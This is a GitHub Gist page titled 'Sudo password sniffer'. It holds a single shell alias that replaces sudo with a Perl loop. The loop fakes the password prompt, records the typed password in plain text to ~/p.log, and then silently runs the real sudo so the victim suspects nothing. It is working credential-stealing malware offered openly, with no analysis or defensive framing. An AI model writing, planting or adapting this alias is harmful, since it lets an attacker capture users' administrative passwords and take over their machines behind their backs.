Skip to content

Instantly share code, notes, and snippets.

@nikolay-n
Created October 2, 2020 08:40
Show Gist options
  • Save nikolay-n/379a55b2b25020c6d9ddb02ea6bb6240 to your computer and use it in GitHub Desktop.
Save nikolay-n/379a55b2b25020c6d9ddb02ea6bb6240 to your computer and use it in GitHub Desktop.
Sudo password sniffer
alias sudo=$'perl -e \'while(1){$e="echo";print"Password: ";`stty -$e`;$p=<STDIN>;`stty $e;$e "$p">>~/p.log;`;print"\n";*E=*STDERR;open(STDERR,">/dev/null");open(S,"|-","sudo","-S",@ARGV)and do{print S $p;close(S); last unless $?};}\''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment